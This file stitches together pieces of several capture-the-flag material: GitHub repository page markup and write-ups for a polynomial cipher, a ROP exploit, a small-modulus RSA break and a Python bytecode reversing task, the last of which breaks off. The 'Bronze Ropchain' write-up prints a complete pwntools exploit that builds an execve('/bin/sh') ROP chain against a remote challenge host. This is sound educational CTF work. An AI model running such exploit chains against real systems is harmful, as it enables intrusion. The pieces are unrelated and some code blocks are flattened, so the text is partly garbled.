<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/Alevsk/google-ctf-2019/refs" cache-key="v0:1564869853.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QWxldnNrL2dvb2dsZS1jdGYtMjAxOQ==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/Alevsk/google-ctf-2019/refs" cache-key="v0:1564869853.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QWxldnNrL2dvb2dsZS1jdGYtMjAxOQ==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>google-ctf-2019</span></span></span><span>/</span>Drive_to_the_target<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>google-ctf-2019</span></span></span><span>/</span>Drive_to_the_target<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/Alevsk/google-ctf-2019/tree-commit/e9fc32785efb25c9aae9f32c4ad169c38e17d93b/Drive_to_the_target" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/Alevsk/google-ctf-2019/file-list/master/Drive_to_the_target"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>drive.log</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solution.js</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Galof
> A group of sheaves of grain stood on end in a field!
The description makes this challenge sound complicated, with abstract algebra and algebraic geometry but the challenge is actually quite simple
## Challenge
The cipher is basically doing `c=k1/m+k2 mod b` where these are polynomials instead of integers, however most normal operations works for polynomials.
We are also given a lot of `m,c` pairs, though only `2` was needed
Furthermore everything is done in `GF(2)`, which simplifies a lot, addition and subtraction are also the same thing which is quite convenient
## Solution
Using `2` pairs of `m,c`, we get(under mod b):
```c1 = k1/m1 + k2c2 = k1/m2 + k2c1m1 = k1 + k2m1c2m2 = k1 + k2m2k2 = (c1m1+c2m2)/(m1+m2)k1 = m1*(c1+k2)```
Now using these keys, we can easily retrive the flag
> Flag : `CCTF{GF2_F1nI73_Crc13_f1elds}` |
# Bronze RopchainTo solve this challenge, you have to know how `fgets function` read user data. `fgets function` read user data until it reaches **null byte** (0x00) or **new line** (0x0a)so when we do `ROP`, we can't use any address that contains `null` or `new line`
Because this challenge compiled with static-linking, there are many gadgets that we can use.I found `mov eax, 2 ; ret`, `inc eax ; ret`, `inc edi ; ret`, `inc esi ; ret`, `pop ecx ; pop ebx ; ret`, `pop esi ; pop edi ; ret`, `call large dword ptr gs:10h` (syscall)
Because there are no "/bin/sh" string in binary, we have to write this string at writable static address.To know this address range, just run this binary at gdb and use `vmmap` command.```pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x8048000 0x80d7000 r-xp 8f000 0 /home/bound7/Desktop/ctf/redpwn/bronze_ropchain/bronze_ropchain 0x80d8000 0x80dc000 rw-p 4000 8f000 /home/bound7/Desktop/ctf/redpwn/bronze_ropchain/bronze_ropchain 0x80dc000 0x80ff000 rw-p 23000 0 [heap]0xf7ff9000 0xf7ffc000 r--p 3000 0 [vvar]0xf7ffc000 0xf7ffe000 r-xp 2000 0 [vdso]0xfffdd000 0xffffe000 rw-p 21000 0 [stack]```we can use **0x080d8000 ~ 0x080dc000** ( we can't use stack because of ASLR )and I use fgets_greet_ret gadget which is part of main function to write '/bin/sh' string at this address range.
```.text:0804895B add esp, 10h.text:0804895E mov eax, offset stdin.text:08048964 mov eax, [eax].text:08048966 sub esp, 4.text:08048969 push eax.text:0804896A push 400h.text:0804896F lea eax, [ebp+var_408].text:08048975 push eax.text:08048976 call fgets.text:0804897B add esp, 10h.text:0804897E sub esp, 0Ch.text:08048981 lea eax, [ebp+var_408].text:08048987 push eax.text:08048988 call greet.text:0804898D add esp, 10h.text:08048990 mov eax, 0.text:08048995 lea esp, [ebp-8].text:08048998 pop ecx.text:08048999 pop ebx.text:0804899A pop ebp.text:0804899B lea esp, [ecx-4].text:0804899E retn```because this gadget read data based on `ebp` register, i give static address to ebp register.In details, this gadget write user input at `ebp-0x408` so i set `ebp` register to `target_addr+0x408`.after use this gadget, we can write data which we know where it is. ( change stack to static address )
to exploit successfully, we have to use syscall.To call successfull /bin/sh, the registers should be set as shown below.```eax <- 0xb ( sys_execve )ebx <- 0x080d8108 <- '/bin/sh' ( arg1 )ecx <- 0x080d8140 <- 0x0 ( arg2 )edx <- 0x0 ( arg3 )edi <- 0x080da000 <- 0 ( global_offset_table )esi <- 0x080da000 <- 0 ( global_offset_table )````eax` ->`mov eax, 2 ; ret` and `inc eax ; ret`.`ebx` and `ecx` -> `pop ecx ; pop ebx ; ret`.`edx` -> use `getchar()` in `greet` function. just send '\x00'.`edi` and `esi` -> `pop esi ; ret`, `pop edi ; ret`, `inc esi ; ret`, `inc edi ; ret`because the address of `global_offset_table` starts with `null`, we can't directly give this address.so pop `global_offset_table-0x1` and increase `esi` and `edi` register to bypass this restriction.
# Full Exploit Code```from pwn import *
#p = process('./bronze_ropchain')p = remote('chall2.2019.redpwn.net', 4004)t = 0.05
syscall = 0x0806dd22fgets_strcpy = 0x0804895b
pop_ecx_ebx_ret = 0x0806ef52pop_esi_edi_ret = 0x08049b2ainc_eax_ret = 0x0807c3b9inc_esi_ret = 0x08052be6inc_edi_ret = 0x08049ce4mov_eax_2_ret = 0x08092db0
binsh = 0x080d80a0global_offset_table = 0x080da000
payload = ''payload += 'a'*0x18payload += p32(binsh+0x408)payload += p32(fgets_strcpy)
p.sendline(payload)sleep(t)p.send('\x00')sleep(t)
'''pop ecxpop ebx
mov eax, 2inc eax X 9
pop esipop ediinc esiinc edicall large dword ptr gs:10h
eax <- 0xb ( sys_execve )ebx <- 0x080d8108 <- '/bin/sh' ( arg1 )ecx <- 0x080d8140 <- 0x0 ( arg2 )edx <- 0x0 ( arg3 )edi <- 0x080da000 <- 0 ( global_offset_table )esi <- 0x080da000 <- 0 ( global_offset_table )'''
payload = ''payload += 'a'*0x18 # dummypayload += 'aaaa' # ebppayload += p32(pop_ecx_ebx_ret)payload += p32(binsh+0xa0) # address that point null bytepayload += p32(binsh+0x68) # address that point /bin/sh\x00 stringpayload += p32(mov_eax_2_ret)for i in range(9): payload += p32(inc_eax_ret)
payload += p32(pop_esi_edi_ret)payload += p32(global_offset_table-0x1) # bypass null bytepayload += p32(global_offset_table-0x1) # bypass null bytepayload += p32(inc_esi_ret)payload += p32(inc_edi_ret)payload += p32(syscall)payload += '/bin/sh\x00'
p.sendline(payload)sleep(t)
p.send('\x00') # set edx 0x0
p.interactive()``` |
# One Hundred Times RSA```Message = 540044793906259530810264019597753740811399829200787379697611542563373670397414734352341760520668884Modulus = 1522605027922533360535618378132637429718068114961380688657908494580122963258952897654000350692006139```Modulus means `n` in RSA
Looks like `n` is small, lets try to factorize it!
I used FactorDB to help me:```http://factordb.com/index.php?query=1522605027922533360535618378132637429718068114961380688657908494580122963258952897654000350692006139```Result: 37975227936943673922808872755445627854565536638199 * 40094690950920881030683735292761468389214899724061
Means `p` and `q` was found! (Because `n = p*q`)
Lets calculate `d` and decrypt it using Python!```pythonfrom Crypto.Util.number import inversen = 1522605027922533360535618378132637429718068114961380688657908494580122963258952897654000350692006139p = 37975227936943673922808872755445627854565536638199q = 40094690950920881030683735292761468389214899724061c = 540044793906259530810264019597753740811399829200787379697611542563373670397414734352341760520668884e = 65537phi = (p-1)*(q-1)d = inverse(e,phi)m = pow(c,d,n)print hex(m)```Result:```0xb586ba73873a722e00f91bfd6de2767b17c434dcb1e1e2428fb67f2a0a0276792c34517e3afb8e2e97L```You can see the hex value is not in ASCII range
I must be doing something wrong,
At first, I taught I need to decrypt 100 times because the challenge title say so
But I realized `e` is not given, maybe we need to guess the `e` value (public key)
Wrote a [python script](solve.py) to brute force the `e`:```pythonfor e in range(65537): d = inverse(e,phi) m = pow(c,d,n) if long_to_bytes(m).startswith("InnoCTF"): print "e = " + str(e) print long_to_bytes(m)```After couple seconds, found **e = 47131** and decrypted the flag!
# Flag> InnoCTF{cr4ck_rs4_4g41n_08a5} |
# pytte1337en
**Category**: rev **Challenge Author**: @larsh **Solvers**: @mkg, @herkarl
### DescriptionLook a pyc-file! This should be easy, hold my soju.
File: challenge.pyc
### Solution
#### TLDR:Try `uncompyle6`. `pyc`-file is corrupted. Try to repare it. Realize it is written by hand in python bytecode. Analyze how it works. Realize it parses mathematical expressions to build a string and then executes it. Exploit it.
---
We are given a `pyc`-file as the description says. We are also given an ip where the file is running. Running it or connecting to the server doesn't yield anything. Interacting with it gives us what looks like a shell but exits after two lines.

Naturally, we try do decompile it with `uncompyle6`.
```>> uncompyle6 challenge.pyc# uncompyle6 version 3.3.4# Python bytecode 2.7 (62211)# Decompiled from: Python 2.7.15 |Anaconda, Inc.| (default, Nov 13 2018, 23:04:45)# [GCC 7.3.0]# Compiled at: 2018-12-22 21:32:55Traceback (most recent call last): File "/home/mkg/miniconda2/bin/uncompyle6", line 10, in <module> sys.exit(main_bin()) File "/home/mkg/miniconda2/lib/python2.7/site-packages/uncompyle6/bin/uncompile.py", line 183, in main_bin **options) File "/home/mkg/miniconda2/lib/python2.7/site-packages/uncompyle6/main.py", line 250, in main source_encoding, linemap_stream, do_fragments) File "/home/mkg/miniconda2/lib/python2.7/site-packages/uncompyle6/main.py", line 165, in decompile_file mapstream=mapstream, do_fragments=do_fragments)] File "/home/mkg/miniconda2/lib/python2.7/site-packages/uncompyle6/main.py", line 117, in decompile is_pypy=is_pypy) File "/home/mkg/miniconda2/lib/python2.7/site-packages/uncompyle6/semantics/pysource.py", line 2304, in code_deparse show_asm=debug_opts['asm']) File "/home/mkg/miniconda2/lib/python2.7/site-packages/uncompyle6/scanners/scanner2.py", line 173, in ingest bytecode = self.build_instructions(co) File "/home/mkg/miniconda2/lib/python2.7/site-packages/uncompyle6/scanner.py", line 107, in build_instructions self.insts = self.remove_extended_args(list(bytecode)) File "/home/mkg/miniconda2/lib/python2.7/site-packages/xdis/bytecode.py", line 276, in get_instructions_bytes argval, argrepr = _get_const_info(arg, constants) File "/home/mkg/miniconda2/lib/python2.7/site-packages/xdis/bytecode.py", line 181, in _get_const_info argval = const_list[const_index]IndexError: tuple index out of range```
That doesn't work. :( So we google a bit about the `pyc`-file structure and find [this](https://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html) page.

